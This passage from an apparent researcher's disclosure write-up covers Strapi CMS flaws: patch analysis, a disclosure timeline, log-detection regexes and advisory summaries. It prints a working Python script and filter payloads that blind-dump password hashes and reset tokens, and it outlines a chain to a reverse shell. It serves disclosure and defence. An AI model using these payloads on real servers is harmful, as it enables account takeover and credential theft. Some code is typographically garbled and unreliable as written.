This was an important reminder to myself to always double check documentation when implementing security controls ! After I pointed out this minor issue with the patch, the Strapi team quickly set the escape: false option as well to disable the use of escape delimiters in templates. The changes can be seen on commit id 6f07d33f8803e439201354829ceeee8ebfb919fa .
But wait, that isn’t the only security control that was added.
Fixing the Email Template Validation
The isValidEmailTemplate function was changed to the following code in the patch.
The New isValidEmailTemplate
'use strict’;
const_=require(‘lodash’); const{ template:{createLooseInterpolationRegExp,createStrictInterpolationRegExp}, }=require(‘@strapi/utils’);
constinvalidPatternsRegexes=[ // Ignore “evaluation” patterns: <% … %> /<%^=%>/m, // Ignore basic string interpolations /${([^{}]*)}/m, ];
constauthorizedKeys=[ 'URL’, 'ADMIN_URL’, 'SERVER_URL’, 'CODE’, 'USER’, 'USER.email’, 'USER.username’, 'TOKEN’, ];
constmatchAll=(pattern,src)=>{ constmatches=[]; letmatch;
constregexPatternWithGlobal=RegExp(pattern,’g’);
// eslint-disable-next-line no-cond-assign while((match=regexPatternWithGlobal.exec(src))){ const[,group]=match;
matches.push(_.trim(group)); }
returnmatches; };
constisValidEmailTemplate=(template)=>{ // Check for known invalid patterns for(constregofinvalidPatternsRegexes){ if(reg.test(template)){ returnfalse; } }
constinterpolation={ // Strict interpolation pattern to match only valid groups strict:createStrictInterpolationRegExp(authorizedKeys), // Weak interpolation pattern to match as many group as possible. loose:createLooseInterpolationRegExp(), };
// Compute both strict & loose matches conststrictMatches=matchAll(interpolation.strict,template); constlooseMatches=matchAll(interpolation.loose,template);
// If we have more matches with the loose RegExp than with the strict one, // then it means that at least one of the interpolation group is invalid // Note: In the future, if we wanted to give more details for error formatting // purposes, we could return the difference between the two arrays if(looseMatches.length>strictMatches.length){ returnfalse; }
returntrue; };
module.exports={ isValidEmailTemplate, };
The regex pattern /<%^=%>/m now only allows for the <%= %> delimiter to be used, and can no longer be bypassed since \s and \S would match any whitespace and non-whitespace character respectively. Oddly enough, the /${([^{}]*)}/m pattern was not fixed. However, it makes no difference since the interpolate option is now set for the lodash template engine and overwrites the default configuration that allowed using the ES literal delimiter ( ${ } ) to evaluate code.
From the lodash documentation
The following code now checks that only authorised keys are allowed within the <%= %> .
constinterpolation={ // Strict interpolation pattern to match only valid groups strict:createStrictInterpolationRegExp(authorizedKeys), // Weak interpolation pattern to match as many group as possible. loose:createLooseInterpolationRegExp(), };
// Compute both strict & loose matches conststrictMatches=matchAll(interpolation.strict,template); constlooseMatches=matchAll(interpolation.loose,template);
// If we have more matches with the loose RegExp than with the strict one, // then it means that at least one of the interpolation group is invalid // Note: In the future, if we wanted to give more details for error formatting // purposes, we could return the difference between the two arrays if(looseMatches.length>strictMatches.length){ returnfalse; }
As mentioned previously, the createStrictInterpolationRegExp will create an allowed regex pattern from the authorizedKeys array. On the other hand, createLooseInterpolationRegExp just returns the regex pattern /<%=([\s\S]+?)%>/ that would match any text between <%= %> . Therefore, if looseMatches has a longer length than strictMatches then it can be implied that there is another interpolate delimiter with a key that is not in the authorised keys list.
CVE-2023-22894: Leaking Sensitive User Information by Filtering on Private Fields in Strapi Versions <=4.7.1
After reporting the above two vulnerabilities, I realised that Strapi’s filtering functionality can be exploited to filter responses on private fields . Using this info and the $startsWith filter operation, I discovered a method to leak the values of private fields by inferring values from API results . Simply put this vulnerability is equivalent to blind SQLi or NoSQLi vulnerabilities. However, in this case I was targetting the logic of how Strapi filters database queries.
When I first reported this vulnerability, I originally thought that an attacker would require admin access to exploit. However, after my initial report I had a gut feeling to explore this vulnerability further.
That’s when I realised that an unauthenticated attacker can exploit this everywhere on Strapi and it can be used to hijack Strapi administrator accounts!
Oh god that is terrifying…
Well let’s get into the juicy details and start stealing some Strapi Administrator accounts!
TL;DR Vulnerability Details
- CVE: CVE-2023-22894
- CVSS v3.1 Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Affected Versions: <=4.7.1
- How to Patch: Immediately update your Strapi to version >=4.8.0 ! If you using Strapi 3.x.x or below, IMMEDIATELY UPDATE TO A PATCHED 4.x.x VERSION! Strapi versions 3.x.x reached its end of life support on the December 31st 2022 , and would not receive a patch for this vulnerability!
Vulnerability Disclosure Timeline
Time
Event
2023/01/03 01:26 PM UTC
Reported this vulnerability to Strapi as Medium severity since the first vector was only accessible by Strapi administrators.
2023/01/03 07:03 PM UTC
Strapi acknowledged my vulnerability report.
2023/01/18 08:05 AM UTC
Discovered and notified Strapi that unauthenticated users could exploit this vulnerability and escalated the severity from Medium to Critical . However, at the time I only thought an attacker can exploit under certain conditions.
2023/01/21 10:26 AM UTC
Discovered a method to exploit this vulnerability as an unauthenticated user on all Strapi servers . I also sent Strapi a POC that would achieve Unauthenticated Remote Code Execution on all Strapi <=4.5.5 servers by chaining CVE-2023-22894 and CVE-2023-22621 together.
2023/02/23 02:31 PM UTC
After rigorous patching and testing by Strapi I was provided with the patch to test.
2023/03/05 02:51 AM UTC
I confirmed Strapi’s patch fixed this vulnerability.
2023/03/15 03:39 PM UTC
Strapi released version 4.8.0
Dumping Sensitive User as an Administrator User
I was just goofing about on the Strapi admin panel on my test server when I saw this nice feature for filtering entries for the API user collection.
Interesting… I wonder if I can see sensitive information of users using the admin API.
Taking a closer look at the API requests on Burp Suite, the API responses do not contain the values for the password or reset_password_token columns.
However, I was curious if private fields were filtered from the queries or from the results of a query ( a little foreshadowing there ). One of the first things I noticed was the $startsWith filter operation that searches for entries that start with the provided value. So I fiddled around with the $startsWith filter operation and realised that Strapi just removes private fields from query results and does not remove private fields from the actual query ! This means that you can bruteforce character by character the value of private fields and infer the actual values by looking for when the number of entries in the API response changes!
To demonstrate, I created a test API account named resetpassword and started the password reset process that saved a reset token that started with 6a4b40 in the reset_password_token column for the user. Then I constructed the following filter query that returns back the entry of the resetpassword account, since it was the only API user account that had a reset password token that started with 6a4b40 .
filters[$and][0][reset_password_token][$startsWith]=6a4b40
However, if I instead filter by password reset tokens that start with 6a4b4f the API response is empty because no account has a password reset token that starts with 6a4b4f !
Rightio that ain’t good…
The next thing I decided to look into was the scope of this vulnerability being exploited by administrator users. As a Super Administrator user, you can leak all API user’s and Strapi admin user’s password hashes and reset tokens by exploiting Strapi’s filters on the following API routes.
Dumping API user route: /content-manager/collection-types/plugin::users-permissions.user
Dumping Admin user route: /admin/users
The following GIF is a recording of dumping all password hashes and reset tokens on Strapi using a Super Admin account using my POC script (shown later on in this section).
However, lower privileged administrator accounts (eg. admin users assigned the Editor role) cannot dump API user or admin credentials by default. The only scenario that I found was if a lower privileged Strapi admin user was assigned the following permissions for API users, then an attacker could dump private data only for API users.
GIF below shows dumping private data only for API users when an admin account with the Editor role is used with the above permissions.
It was at this point I decided I had enough information about the vulnerability to report it Strapi and provided them with the following POC script along with the above GIFs to demonstrate the severity.
Dumping Sensitive User Data as Admin POC
import argparse, requests, sys import urllib.parse as urlparse from concurrent.futures import ThreadPoolExecutor
THREADS=20 BCRYPT_CHARS = “$./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789” TOTAL_CHARS = len(BCRYPT_CHARS)
def parse_args() -> argparse.Namespace: parser = argparse.ArgumentParser()
parser.add_argument(
'-u', '--username',
help='The email of an admin account on Strapi',
required=True
)
parser.add_argument(
'-p', '--password',
help='The password of an admin account on Strapi',
required=True
)
parser.add_argument(
'target',
help='Target URL'
)
return parser.parse_args()
class StrapiSession(requests.Session): def init(self, base_url, api_token): super().init() self.base_url = base_url self.api_token = api_token
def request(self, method, url, *args, **kwargs):
joined_url = urlparse.urljoin(self.base_url, url)
headers = kwargs.get("headers", {})
headers["Authorization"] = f"Bearer {self.api_token}"
kwargs["headers"] = headers
return super().request(method, joined_url, *args, **kwargs)
def get_api_token(target, username, password) -> str: r = requests.post( urlparse.urljoin(target, “/admin/login”), json={ "email": username, "password": password } ) r_json = r.json() if “error” in r_json: raise Exception(“Invalid admin credentials were provided”)
return r_json["data"]["token"]
def get_users(s: StrapiSession, api_url): user_emails=[] page=1 total_pages=None
while True:
r = s.get(api_url, data={
"pageSize": 10,
"page": page
})
r_json = r.json()
if "data" in r_json:
r_json = r_json["data"]
total_pages = r_json["pagination"]["pageCount"]
page = r_json["pagination"]["page"]
user_emails.extend([u["email"] for u in r_json["results"]])
if total_pages == page:
break
page += 1
return user_emails
def attempt_char(s: StrapiSession, api_url, email, known_hash, c, keyname): r = s.get( api_url + f"?pageSize=1&page=1&filters[$and][0][email][$eq]={email}&filters[$and][1][{keyname}][$startsWith]={known_hash + c}", ) r_json = r.json() if “data” in r_json: r_json = r_json[“data”]
if r_json["pagination"]["total"] == 1:
return (True, c)
return (False, None)
def dump_user_data(s, api_url, email, keyname): # Bcrypt hashes start with $2a$ dumped_data = “” print(f"\t{email}:", end="") sys.stdout.flush()
while True:
found_char = False
with ThreadPoolExecutor(max_workers=THREADS) as executor:
futures = executor.map(
attempt_char,
TOTAL_CHARS * [s],
TOTAL_CHARS * [api_url],
TOTAL_CHARS * [email],
TOTAL_CHARS * [dumped_data],
BCRYPT_CHARS,
TOTAL_CHARS * [keyname]
)
for result in futures:
matched_char, char = result
if matched_char:
found_char = True
dumped_data = dumped_data + char
print(char, end="")
sys.stdout.flush()
break
if not found_char:
break
print("")
def dump_hashes(s, api_url, start_msg): print(start_msg + " Password Hashes")
try:
user_emails = get_users(s, api_url)
except:
print("Your account does not have permissions!")
return
for email in user_emails:
dump_user_data(s, api_url, email, "password")
print()
print(start_msg + " Password Reset Tokens")
for email in user_emails:
dump_user_data(s, api_url, email, "reset_password_token")
print()
def main(args): username = args.username password = args.password target = args.target
api_token = get_api_token(target, username, password)
with StrapiSession(target, api_token) as s:
dump_hashes(s, "/admin/users", "Dumping Admin Account")
dump_hashes(s, "/content-manager/collection-types/plugin::users-permissions.user", "Dumping API User Account")
if name == "main": args = parse_args() main(args)
Originally I reported this vulnerability with a Medium severity to Strapi. However, deep down I knew the scope of this vulnerability was most likely way more impactful than what I discovered in my original report. I just needed the evidence.
But Wait, It Gets Worst…
Shortly after I sent the initial report for this vulnerability, my holiday break finished and work was pretty heckers during the start of this year. However, during my free time I continued writing articles about these vulnerabilities, maintained communications with Strapi and started taking a closer look at this vulnerability in particular. Something about it just didn’t sit right with me, since I felt the filtering functionality of Strapi is used everywhere in the CMS. I just knew there was some method to be able to dump sensitive user data as an unauthenticated user.
I decided to move from a bare bones configuration of my Strapi test server and start adding custom collections along with installing popular 3rd part plugins. One of the plugins I added was the Comments Plugin that enables API users to add comments to configured collections. Looking at the content type schema for comments within the plugin ( source code ), I noticed that there was a relational field to API users named authorUser .
That’s when it clicked for me.
What if this vulnerability does not require direct access to the API and Admin user collections and I can use the relational fields within other collections to get to the sensitive fields for users?
So I decided to test out my theory by adding a comment and see if I can exploit this vulnerability to filter comments as an API user by the comment author’s password hash. I created a collection named Article that was configured to allow users to add comments. Then using a different API user account I added a comment to an article entry that I created. The following screenshot shows the API response when I query for comments as an API user.
Then I added the following filter to see if I can filter the results of the query using the start of a Bcrypt hash.
filters[$and][0][authorUser][password][$startsWith]=$2a
Holy mackarel…
Yes you can use relational fields within collections to filter by private fields for user accounts and leak their sensitive data!
When I realised this was the case, I immediately contacted Strapi about this new development and advised them that we should not publicly disclose my SSTI to RCE vulnerability (it was originally planned to be released on the 21st of January) until this vulnerability was patched. Since relational fields were also exploitable, it meant collections with relational fields to Strapi administrator user accounts can be exploited by an API user to dump sensitive data for admin users . The only prerequisite were:
- A collection needs to have a relational field to Strapi administrator users.
- There is an entry where the relational field is mapped to an admin user.
- API or unauthenticated users are assigned the find permission for the collection with the relational mapping to admin users.
For an example, the Article collection I created for this demonstration has a field name author that is a relation mapping to an admin user. I then created an Article entry and set the author field to map to my super admin account named Nigel .
I then allowed public users to perform the find operation on the Article collection (a realistic configuration) and tested if I could start dumping the admin’s password hash by exploiting the relational mapping.
Hoooooly mackarel…
However, this was not the worst case scenario since successful exploitation depends on a Strapi collection to be configured to have a field that maps to an admin user. An unauthenticated would only be able to exploit this vulnerability for a limited number of Strapi instances and does not guarantee accessing sensitive information of users for every Strapi server.
However, what if there was a way to always find a mapping to Strapi admin users no matter how collections are configured…
But Wait, It Is The Worst Case Scenario…
I was about to stop exploring how deep I can take this vulnerability, when something caught my eye on the Strapi admin panel when I was mucking about with collections.
How on earth does Strapi know my administrator account created and updated this entry?
Digging into the backend database, I realised that when you create a collection on Strapi it automatically creates the created_by_id and updated_by_id columns that are foreign keys to the corresponding admin user . Poking at the API request I sent, you can see Strapi automatically returns the information about the Admin users based on the values of the created_by_id and updated_by_id columns.
Looking at that API response gave me an epiphany.
Whenever a Strapi administrator creates or updates an entry for a collection, Strapi will automatically create a createdBy and usedBy relational mapping to the Administrator user ! Therefore, you can dump Strapi administrator password hashes and reset tokens using any accessible collection ! To confirm my suspicions, I went back to the Article entry I created and tested if I could leak the admin password hash using the createdBy relational field.
oooooooooh geez
This was the worst case scenario. Not going to lie I started to shake when I realised that this was the case and informed Strapi of the growing severity of this vulnerability. This meant that on every Strapi server you could leak the password hashes and password reset tokens of Strapi administrator accounts as an unauthenticated user !
Why It Took Months To Fix
Of the three vulnerabilities I reported to Strapi, this one was the hardest to patch by a large margin. In my initial recommendation to Strapi, I said:
Strapi needs to restrict what type of column names that can be used as filters. For an example, the “password” and “reset_password_token” columns should be ignored if included in a filter.
This was a gross simplification for the work that needed to be done to patch this vulnerability.
Strapi had to update 280+ files in their patch (does include test files). Because so many files were updated, I won’t be doing a deep technical dive into how this vulnerability was fixed (would have to turn this article into a book) and just provide the following overview that Strapi did:
- Implement query parameter sanitising for all top level operators (eg. filters, sort, population, etc) that removed any private fields from query parameters.
- Added a global search operator ( _q ) that removed any fields that have the searchable attribute to false .
- Sanitised column names before executing the query.
This was why Strapi took a long time to fix this vulnerability . The scale of this vulnerability was massive and impacted the entire CMS! I only explained a couple methods in this article about how to exploit this vulnerability, but nearly every feature within Strapi was vulnerable if you dug around. There is even a likely chance that popular Strapi plugins would still have this vulnerability when this article is released. That’s why this patch took so long to be completed by Strapi. Their approach was to verify and cover as many edge cases as possible before applying the patch and announcing this vulnerability.
That was a tonne of work and major kudos for the Strapi team for implementing the solution!
Chaining CVE-2023-22621 and CVE-2023-22894 Together to Achieve Unauthenticated RCE
Now for the fun part and pop a reverse shell as an unauthenticated user ! To do this we need to first exploit CVE-2023-22894 to hijack a Super Administrator Account , then with the privileged access we will be able to exploit CVE-2023-22621 ! The high level overview of getting unauthenticated RCE is as follows:
Exploiting CVE-2023-22894
1. Search for any entry on a publicly accessible entry for a collection that was created or updated by a super administrator user.
2. Leak the email address for the super administrator user.
3. Perform the forgot my password action for the super administrator account.
4. Leak the reset password token for the super administrator user.
5. Set a new password for the super administrator account and grab the API token for the admin API.
Exploiting CVE-2023-22621
- Set a crafted email template that execute arbitrary terminal commands when rendered for when API accounts register.
- Enable sending emails on API account registration.
- Register a new API account to trigger the RCE vulnerability.
you g0t mail
I will not be immediately releasing my POC that I sent to Strapi. However, I will show off the below GIF of running my POC that pops a reverse shell as an unauthenticated user on my test server running Strapi version 4.5.5.
Indicators of Compromise
One of my primary concerns about finding all of these vulnerabilities in Strapi is that there is a strong possibility that a malicious actor has already discovered them and are actively exploiting them in the wild. Especially considering that Strapi is an open source project and anyone could review the code. To assist blue teams I will provide Indicators of Compromise (IoCs) for these vulnerabilities. The following IoCs are based on having access to request logs and do not consider the use of additional logging tools/resources.
Detecting AWS Cognito Auth Bypass (CVE-2023-22893)
Although you should not log OAuth auth and ID tokens , they are included as GET parameters to /api/auth/cognito/callback and will be likely logged in request logs for default configurations. This gives us a method to query request log files for suspicious JWT tokens for authenticating to the AWS Cognito login provider.
The following regex pattern will extract all of the ID tokens sent to /api/auth/cognito/callback .
Strapi v4
//api/auth/cognito/callback?[\s\S]id_token=\s([\S]*)/
Strapi v3
/auth/cognito/callback?[\s\S]id_token=\s([\S]*)/
Once you have a list of the ID tokens, you will need to verify each token using the public key file for your AWS Cognito user pool that you can download from https://cognito-idp.{region}.amazonaws.com/{userPoolId}/.well-known/jwks.json . If there are any JWT tokens that cannot be verified using the correct public key, then you need to inspect the JWT body and see if it contains the email and cognito:username claims (example below).
{ "cognito:username":"auth-bypass-example", “email":"[email protected]” }
If there are any JWTs that have this body, verify when the account with the email address was created. If the account was created earlier than the request to /api/auth/cognito/callback with the invalid JWT token, then you need to contact the user to inform them their account has been breached !
Detecting Leaking Sensitive User Data (CVE-2023-22894)
The exploitation of CVE-2023-22894 is easily detectable, since the payload is within the GET parameters and are normally included in request logs. The following regex pattern will extract requests that are exploiting this vulnerability to leak user’s email, password and password reset token columns.
Strapi v4
/([|%5B)\s(email|password|reset_password_token|resetPasswordToken)\s(]|%5D)/
Strapi v3
/(.|%2E)\s(email|password|reset_password_token|resetPasswordToken)\s(_|%5F)/
You can search log files for this IoC by using the following grep command.
Strapi v4
grep -iE '([|%5B)\s(email|password|reset_password_token|resetPasswordToken)\s(]|%5D)' $PATH_TO_LOG_FILE
Strapi v3
grep -iE '(.|%2E)\s(email|password|reset_password_token|resetPasswordToken)\s(_|%5F)' $PATH_TO_LOG_FILE
If the above regex patterns matches any lines in your log files, take extra precaution to look out for multiple requests that include password , reset_password_token or resetPasswordToken . This would indicate that an attacker has leaked the password hashes and reset tokens on you Strapi server and you need to immediately start incident response!
Detecting Remote Code Execution (CVE-2023-22621)
Using just the request log files, the only IoC to search for is a PUT request to URL path /users-permissions/email-templates . This IoC only indicates that a Strapi email template was modified on your server and by itself does not indicate if your Strapi server has been compromised. If this IoC is detected, you will need to manually review your email templates on your Strapi server and backups of your database to see if any of the templates contain a lodash template delimiter (eg. <%STUFF HERE%> ) that contains suspicious JavaScript code. If you find a suspicious template delimiter but unsure if your server has been compromised, you can private message me on Twitter and I will verify if you have been breached when I am available.
Conclusion
I hope you enjoyed this deep dive into these vulnerabilities that I discovered in Strapi. It was a lot of fun taking on the challenge of bypassing Strapi’s email template validation, dumping sensitive user information and bypassing authentication.
Once again, I want to give the Strapi security team a massive thank you for how they handled responding to my security reports. I seldomly see vulnerability disclosure done correctly by an organisation, and this experience was a huge breath of fresh air for me. I wish that other organisations look towards Strapi as an example on how vulnerability disclosure should be handled, because as we always say in the security world…
We have anxiety for a reason.
Thank you for reading!
Related news
### Summary Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server. ### Details Strapi through 4.5.5 allows authenticated Server-Side Template Injection (SSTI) that can be exploited to execute arbitrary code on the server. A remote attacker with access to the Strapi admin panel can inject a crafted payload that executes code on the server into an email template that bypasses the validation checks that should prevent code execution. ### IoC Using just the request log files, the only IoC to search for is a `PUT` request to URL path `/users-permissions/email-templates`. This IoC only indicates that a Strapi email template was modified on your server and by itself does not indicate if your Strapi server has been compromised. If this IoC is detected, you will need to manually review your email templates on your Strapi server and backups of your database to see if any of the templates contain a `lodas...
### Summary Strapi through 4.7.1 allows unauthenticated attackers to discover sensitive user details for Strapi administrators and API users. ### Details Strapi through 4.7.1 allows unauthenticated attackers to discover sensitive user details for Strapi administrators and API users. The unauthenticated attacker can filter users by columns that contain sensitive information and infer the values by the changes in the API responses. An unauthenticated attacker can exploit this vulnerability to hijack Strapi administrator accounts and gain unauthorized Strapi Super Administrator access by leaking the password reset token and changing the admin password. This can be exploited on all Strapi versions <=4.7.1. ### IoC The exploitation of CVE-2023-22894 is easily detectable, since the payload is within the GET parameters and are normally included in request logs. The following regex pattern will extract requests that are exploiting this vulnerability to leak user's email, password and pass...